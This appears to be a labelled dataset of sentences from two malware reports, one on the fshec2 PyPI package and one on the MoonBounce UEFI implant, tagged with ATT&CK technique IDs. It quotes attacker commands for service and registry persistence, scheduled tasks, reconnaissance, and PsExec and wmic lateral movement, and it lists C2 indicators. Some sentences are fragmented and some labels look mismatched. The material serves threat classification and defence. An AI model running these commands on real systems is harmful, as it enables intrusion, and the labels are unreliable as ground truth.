{"sentence": "Historically, npm has been the unfortunate leader and PyPI an also-ran in the race to see which open-source platform attracts the most attention from malware authors.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "In the last six months, however, ReversingLabs and others have observed a marked increase in the volume of malware published to PyPI.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Along with the increase in malicious modules, my team has observed an increase in the use of various obfuscation techniques in malware published to the PyPI repository.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Today, however, attackers have more tools at their disposal.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "For example, use of W4SP crew obfuscation tools such as Hyperion and Kramer is on the rise — likely a response to the improving detection capabilities of security companies monitoring PyPI and other public package repositories.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The fshec2 package uses a significantly different approach that doesn’t rely on obfuscation tools.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "It instead places the malicious functionality into a single file containing compiled Python byte code.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "How Python attacks (usually) work Before I get to the new obfuscation method my team discovered, here’s a look at how malicious attacks using Python typically work.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "There are three types of Python files that may play a role in a malicious campaign: plaintext Python files, which have a /oy extension; compiled Python files, which have a .pyc extension; and Python files that have been compiled into native executables using tools such as py2exe and PyInstaller.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "In most of the malicious campaigns that my team has observed leveraging PyPI packages, the executables are not present in the malicious package but are downloaded and run by the plaintext PY files from external infrastructure.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "But fshec2 is different.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The entry point of the package was found in the __init__.py file, which imports a function from the other plaintext file, main.py, which contains Python source code responsible for loading of the Python compiled module located in one of the other files, full.pyc.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Instead, Importlib, the implementation of import in Python source code portable to any Python interpreter, is used to avoid detection by security tools.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "(Some explanation: Importlib is typically used in cases where the imported library is dynamically modified upon import.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "This tends to support the theory that Importlib is used to avoid detection.)", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 2: Loading of the compiled Python module from main.py After the module is loaded, its get_path method is invoked", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "(see Figure 3).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Using ReversingLabs Software Supply Chain Security, my team was able to detect and extract this code from the decompiled PYC file.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The get_path method, which isn’t found (in readable form) anywhere inside the original fshec2 package, performs some of the common malicious functions observed in other malicious PyPI packages we have analyzed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Among other things, it collects usernames, hostnames, and directory listings.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "It also fetches commands that are set for execution using scheduled tasks or cronjob, depending on the host platform.", "labels": ["T1053.005"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "In fact, while I have been writing this blog, my team observed it download and execute yet another Python script from the cron_script located on the same host.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The cron_script contained functionality almost identical to the script found in full.pyc, the compiled Python module shipped with the PyPI package.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "In this way, the fshec2 attack is engineered to be able to evolve.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The full.pyc file contains functionality to download commands from a remote server identified in the commands path on the C2 server.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The downloaded commands are a Python file almost identical to full.pyc but with the location for downloading stage 2 commands placed in a cron_script, which periodically downloads new commands.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "This allows the attackers to change the content served at the commands location to make the malware serve new commands.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Like regular developers, malware authors often make configuration mistakes when setting up infrastructure.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Such mistakes can reveal interesting information about the inner workings of malicious software.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "That was the case with the web host that was set up to communicate with compromised systems.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Instead, visitors were served a page from a Django application listing a variety of commands (see Figure 5).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 5: Uncovered web locations Fortunately for us, the Django application was configured in debug mode, with error descriptions that gave us a detailed list of reachable host paths.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Some of those we had already seen in the downloaded scripts used in the attack, but there were new paths that we had not seen, including: admin, uploaded_files, and download.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 6: Password-protected file download form Still, some information was exposed by this oversight, even without knowing the password.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "For example, command No. 7 in Figure 5 provides a way to download files by their ID using the command: download/<int:file_id>, where file_id is an integer and the files in question are numbered in sequential order, starting from 1.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "As seen in Figure 6, the filename is also leaked without requiring authorization.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The sheer number of these mistakes might lead us to the conclusion that this attack was not the work of a state-sponsored actor and not an advanced persistent threat (APT).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "While my team didn’t collect enough evidence to prove that assumption one way or another, harvesting the filenames by incrementing file ID let us determine that the attack was successful in some cases.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Our researchers still can’t say who or what the targets were.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "However, we can confirm that developers did install the malicious PyPI package and that their machine names, usernames, and directory listings were harvested as a result.", "labels": ["T1033", "T1082", "T1083"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The resulting filenames show that at least two targets were infected with username and hostname combinations desktop__desktop-7G-Series and Txxxx_Axxxx__LAPTOP-UH9S5HF2 (identifying information removed).", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Some of the filenames suggest that additional malware commands include keylogging functionality.", "labels": ["T1056.001"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "It just happens to be a malicious module.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Compiled code from the .pyc file needed to be decompiled in order to analyze its content.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 8: Inspector tool provided by PyPI security team", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "The discovery of malicious code in the fshec2 package underscores why the ability to detect malicious functions such as get_path is becoming more important for both security and DevSecOps teams.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Most application security solutions either do not focus on supply chain security or only perform source-code analysis as part of the package security inspection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "As seen with fshec2, analyzing this kind of file allows defenders to extract indicators of malicious intent, making security assessment much easier.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Figure 9: Behavior indicators and networking strings extracted from the decompiled PYC file using ReversingLabs Software Supply Chain Security.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Simple scanning of source code from open-source packages will miss this type of threat.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "And, as the attackers press their advantage and become more sophisticated, even more advanced tools will be needed to make sure your developed code and software development infrastructure remains protected.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Indicators of Compromise (IoCs) Package name Version SHA1 fshec2 1.0.0 7be50d49efd1e8199decf84dc4623f58b8686161bab57a9aac8e138e4e2a9f8079fd50b7c1d31540 C2 server: 13.51.44.246 **", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "Read the original post at: https://www.reversinglabs.com/blog/when-python-bytecode-bites-back-who-checks-the-contents-of-compiled-python-files", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"}
{"sentence": "What happened?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "At the end of 2021, we were made aware of a UEFI firmware-level compromise through logs from our Firmware Scanner, which has been integrated into Kaspersky products since the beginning of 2019.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Further analysis has shown that a single component within the inspected firmware’s image was modified by attackers in a way that allowed them to intercept the original execution flow of the machine’s boot sequence and introduce a sophisticated infection chain.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "By examining the components of the rogue firmware and other malicious artefacts from the target’s network, we were able to reach the following conclusions:", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The inspected UEFI firmware was tampered with to embed a malicious code that we dub MoonBounce; Due to its emplacement on SPI flash which is located on the motherboard instead of the hard disk, the implant is capable of persisting in the system across disk formatting or replacement; The purpose of the implant is to facilitate the deployment of user-mode malware that stages execution of further payloads downloaded from the internet; The infection chain itself does not leave any traces on the hard drive, as its components operate in memory only, thus facilitating a fileless attack with a small footprint; We detected other non-UEFI implants in the targeted network that communicated with the same infrastructure which hosted the the stager’s payload; By assessing the combination of the above findings with network infrastructure fingerprints and other TTPs exhibited by the the attackers; to the best of our knowledge the intrusion set in question can be attributed to APT41, a threat actor that’s been widely reported to be Chinese-speaking; In this report we describe in detail how the MoonBounce implant works, how it is connected to APT41, and what other traces of activity related to Chinese-speaking actors we were able to observe in the compromised network that could indicate a connection to this threat actor and the underlying campaign.", "labels": ["T1027", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Revisiting the current state of the art in persistent attacks In the last year, there have been several public accounts on the ongoing trend of UEFI threats.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Notable examples include the UEFI bootkit used as part of the FinSpy surveillance toolset that we reported on, the work of our colleagues from ESET on the ESPectre bootkit, and a little-known threat activity that was discovered within government organisations in the Middle East, using a UEFI bootkit of its own (briefly mentioned in our APT trends report Q3 2021 and covered in more detail in a private APT report delivered to customers of our Threat Intelligence Portal).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The common denominator of those three cases is the fact that the UEFI components targeted for infection reside on the ESP (EFI System Partition), a storage space designated for some UEFI components, typically based in the computer’s hard drive or SSD.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The most notable elements of the ESP are the Boot Manager and OS loader, both invoked during the machine’s boot sequence and which also happen to be the subject of tampering in the case of the aforementioned bootkits.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This one is made up of implants found in the UEFI firmware within the SPI flash, a non-volatile storage external to the hard drive.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Such bootkits are not only stealthier (partially because of limited visibility by security products into this hardware component), but also more difficult to mitigate: flashing a clean firmware image in place of a malicious one can prove to be more difficult than formatting a hard drive and reinstalling an OS, which would typically eliminate ESP level threats.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce is notable for being the third publicly revealed case of an implant from the latter class of firmware-based rootkits.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Previous cases included LoJax and MosaicRegressor, which we reported on during October 2020.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In that sense, MoonBounce marks a particular evolution in this group of threats by presenting a more complicated attack flow in comparison to its predecessors and a higher level of technical competence by its authors, who demonstrate a thorough understanding of the finer details involved in the UEFI boot process.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Our discovery: a sophisticated implant within UEFI firmware The UEFI implant, which was detected in spring 2021 , was found to have been incorporated by the attackers into the CORE_DXE component of the firmware (also known as the DXE Foundation), which is called early on at the DXE (Driver Execution Environment) phase of the UEFI boot sequence.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Among other things, this component is responsible for initializing essential data structures and function interfaces, one of which is the EFI Boot Services Table – a set of pointers to routines that are part of the CORE_DXE image itself and are callable by other DXE drivers in the boot chain.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The source of the infection starts with a set of hooks that intercept the execution of several functions in the EFI Boot Services Table, namely AllocatePool, CreateEventEx and ExitBootServices.", "labels": ["T1106"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Those hooks are used to divert the flow of these functions to malicious shellcode that is appended by the attackers to the CORE_DXE image, which in turn sets up additional hooks in subsequent components of the boot chain, namely the Windows loader.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This multistage chain of hooks facilitates the propagation of malicious code from the CORE_DXE image to other boot components during system startup, allowing the introduction of a malicious driver to the memory address space of the Windows kernel.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This driver, which runs during the initial phases of the kernel’s execution, is in charge of deploying user-mode malware by injecting it into an svchost.exe process, once the operating system is up and running.", "labels": ["T1055"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Finally, the user mode malware reaches out to a hardcoded C&C URL (i.e. hxxp://mb.glbaitech[.]com/mboard.dll) and attempts to fetch another stage of the payload to run in memory, which we were not able to retrieve.", "labels": ["T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The diagram below contains the outline of the stages taken from the moment the hooked Boot Services are called in the context of the DXE Foundation’s execution until the user-mode malware is deployed and run during the Operating System’s execution.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The full description of each step in the diagram, along with the analysis of both the MoonBounce driver and user-mode malware can be found in the technical document released alongside this report.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Flow of MoonBounce execution from boot sequence to malware deployment in user space Note that at the time of writing we lack sufficient evidence to retrace how the UEFI firmware was infected in the first place.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "While previous UEFI firmware compromises (i.e. LoJax and MosaicRegressor) manifested as additions of DXE drivers to the overall firmware image on the SPI flash, the current case exhibits a much more subtle and stealthy technique where an existing firmware component is modified to alter its behaviour.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Notably, particular functions were modified with an inline hook, meaning the replacement of the function prologue with an instruction to divert execution to a function chosen by the attacker.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This would be possible for an attacker having ongoing and remote access to the targeted machine.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This malware was thoroughly covered by our colleagues at Trend Micro and ESET, so we will refer the reader to their excellent write-ups to understand its internals better.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The position-independent code constituting ScrambleCross can be loaded in one of two ways, the first being a C++ DLL named StealthVector.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It obtains the ScrambleCross shellcode by applying a modified ChaCha20 algorithm on an encrypted blob, which may reside as an additional file on disk or be embedded in the loader itself.", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We detected both variants of this loader in the network in question.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "StealthVector gets loaded through the introduction of a modified benign system DLL, in which the import address table is patched to append the malware’s DLL as a dependency.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In one case, we observed such altered wbemcomn.dll (MD5: C3B153347AED27435A18E789D8B67E0A) file, which originally facilitates the functionality of WMI in Windows and was located in the directory %SYSTEM%\\wbem.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "As a consequence, when the WMI service was initiated, the rogue version of this DLL forced the loading of a StealthVector image named wmiwk.dll.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Appended IAT entry to a rogue wbemcomn.dll file which forces the loading of StealthVector upon initiation of the WMI service The table below specifies all instances of StealthVector that we detected in the targeted network, along with timestamp artefacts that might point to the date of their creation.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Loader Filename Loader MD5 Shellcode Filename C&C Address Compilation Timestamp wbwkem.dll 4D5EB9F6F501B4F6EDF981A3C6C4D6FA compwm.bin dev.kinopoisksu[.]com Friday, 12.06.2020 08:25:02 UTC wkbem.dll E7155C355C90DC113476DDCF765B187D pcomnl.bin Unknown Tuesday, 24.03.2020 09:09:21 UTC wmiwk.dll 899608DE6B59C63B4AE219C3C13502F5 wmipl.dll ns.glbaitech[.]com Saturday, 20.02.2021 06:45:18 UTC c_20344.nls 4EF90CEEF2CC9FF3121B34A9891BB28D – 217.69.10[.]104 Tuesday, 24.03.2020 09:09:21 UTC c_20334.nls CFF2772C44F6F86661AB0A4FFBF86833 – st.kinopoisksu[.]com Tuesday, 24.03.2020 09:09:21 UTC Another loader that we detected and is commonly used to load ScrambleCross is .NET based, referred to as StealthMutant.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The injected process in every case we observed was msdt.exe (Microsoft Diagnostic Troubleshooting Wizard).", "labels": ["T1055"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This is outlined in the following commands typed by the attackers on one of the compromised systems:net start \"iscsiwmi\" sc stop iscsiwmi sc delete iscsiwmi reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v", "labels": ["T1112"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"iscsiwmi\" /t", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "REG_MULTI_SZ /d", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"ServiceDll\" /t", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "NET\\Framework64\\v4.0.30319\\System.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Mail.Service.dll\" /f net start \"iscsiwmi\" The launching utility in turn uses the .NET InstallUtil.exe application in order to execute the StealthMutant image, which has the filename Microsoft.Service.Watch.targets, and providing it with the encrypted ScrambleCross shellcode as an argument from a file named MstUtil.exe.config.", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The utility itself is a basic C++ program that achieves the aforementioned goal by issuing the following command line using the WinExec API:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe", "labels": ["T1059.003", "T1106"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/logfile= /LogToConsole", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "=false /ConfigFile=MstUtil.exe.config /U C:\\Windows\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Service.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Watch.targets", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"%~dp0\" copy /Y", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MstUtil.exe.config \"C:\\Windows\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "NET\\Framework64\\v4.0.30319\\MstUtil.exe.config\" schtasks /create", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/TN \"\\Microsoft\\Windows\\UNP\\UNPRefreshListTask\" /SC ONSTART /TR", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile=", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/F /DELAY 0000:02 /RU SYSTEM /RL HIGHEST schtasks /run", "labels": ["T1053.005"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It’s worth noting that most of the ScrambleCross shellcodes (loaded by both StealthMutant and StealthVector) reached out to the same server (i.e. ns.glbaitech[.]com) and that StealthMutant was observed in this campaign only from February, 2021.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Loader MD5 C&C Address Compilation Timestamp 0603C8AAECBDC523CBD3495E93AFB20C 92.38.178[.]246 Tuesday, 23.03.2021 08:00:44 UTC ns.glbaitech[.]com 8C7598061D1E8741B8389A80BFD8B8F5", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "ns.glbaitech[.]com Saturday, 20.02.2021 03:27:42 UTC F9F9D6FB3CB94B1CDF9E437141B59E16 ns.glbaitech[.]com Wednesday, 08.12.2021 07:07:28", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "UTC", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In addition to the above components, we found other stagers and post-exploitation malware implants during our research, some of which were attributed to or have been used by known Chinese-speaking threat actors: Microcin: a backdoor typically used by the SixLittleMonkeys threat actor, which we have been tracking since 2016.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is worth noting that since its inception, the SixLittleMonkeys group has been using Microcin against various targets, partly against high-profile entities based in Russia and Central Asia.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The implants we observed in this campaign are shipped as DLLs that ought to run in the context of exe, with the primary intent of reading a C2 address from an encrypted configuration file stored in %WINDIR%\\debug\\netlogon.cfg and reaching out to the server to obtain a further payload.", "labels": ["T1027", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Interestingly, the Trojan holds a scheduling algorithm that would skip any work on Saturdays, checking the local time every hour to determine if Saturday has passed.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Go implant: a formerly unknown backdoor used to contact a C2 server using a RESTful API, where a combination of a hardcoded IP address and a hypermedia directory path on the underlying server are used for information exchange.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Both the IP and the server directory path are encrypted with AES-128 using a base64 encoded key stored in the backdoor’s image.", "labels": ["T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The IP and directory path tuple are used during execution for: Initialising communications with the server; Sending information from the infected host; Requesting a specific server path containing a command for execution and downloading it;", "labels": ["T1041"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Sending back the result of the command’s execution to the C2 server.", "labels": ["T1041", "T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The commands retrieved from the server are also encrypted with AES-128, with the key stored in the command’s file itself.", "labels": ["T1573.001"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Command execution results are then encrypted using the same key.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We found the following list of supported commands: Get list of drives; Get content list from a specified directory; Download a file from the C2 server; Write text to a given *.bat file and execute it; Run a shell command.", "labels": ["T1059.003", "T1083", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It is important to note that we could not conclusively tie most of those additional pieces of malware to the intrusion set related to MoonBounce, with the exception of Microcin, where some timeline artefacts coincide with other events related to ScrambleCross, as outlined in the figure below.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Timeline of events related to artefacts found in the network containing the MoonBounce-infected machine Who were the targets?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Currently, our detections indicate a very targeted nature of the attack – the presence of the firmware rootkit was detected in a single case.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Other affiliated malicious samples (e.g. ScrambleCross and its loaders) were found on multiple other machines in the same network range.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "One particular target corresponds to an organization in control of several enterprises dealing with transport technology.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "What were the attackers trying to achieve?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This aligns in profile with some of the previous operations by APT41, wherein intrusions were typically made to intervene in the targeted companies’ supply chain, or to heist sensitive intellectual property and personally identifiable information.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The usage of the UEFI implant in particular indicates the actor’s aim to establish a longstanding foothold within the network, as would be expected in an ongoing espionage activity.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The following are examples of command lines that portray some of the methods and actions taken by the operators of this threat activity to achieve their goals: Attempts to enumerate hosts and gather network information: cmd /C", "labels": ["T1033", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & whoami\" cmd /C", "labels": ["T1033", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net view\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & -setcp 866\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & netstat -ano\" cmd /C", "labels": ["T1083"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & dir $temp\\ /od\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & arp -a\" cmd /C", "labels": ["T1016", "T1057"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & tasklist\" cmd /C", "labels": ["T1057", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & tracert <redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net use \\\\<redacted_internal_ip> /u:<redacted_username> <redacted_password>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net view \\\\<redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & ping -n 1 -a <redacted_internal_ip>\" cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & net use * /d /y\" cmd /C", "labels": ["T1082"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & echo ntdsutil \\\"ac", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "\"C: & cd \\ & move $temp\\a.bat \\\\<redacted_internal_ip>\\c$\\windows\\temp\\\\ Usage of the Sysinternals Psexec tool for remote command execution in the network (as the renamed version tmp): $temp\\TS_P61S.tmp -accepteula -d -s \\\\<redacted_internal_ip1>\\ cmd /c", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c tracert <redacted_internal_ip4>>$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "/password:<readcted_password> process call create \"cmd /c ipconfig /all", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": ">$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "> /password:<readcted_password> process call create \"cmd /c qwinsta >$temp\\a.tmp wmic /node:<redacted_internal_ip3> /user:<redacted_group>\\<redacted_user>", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
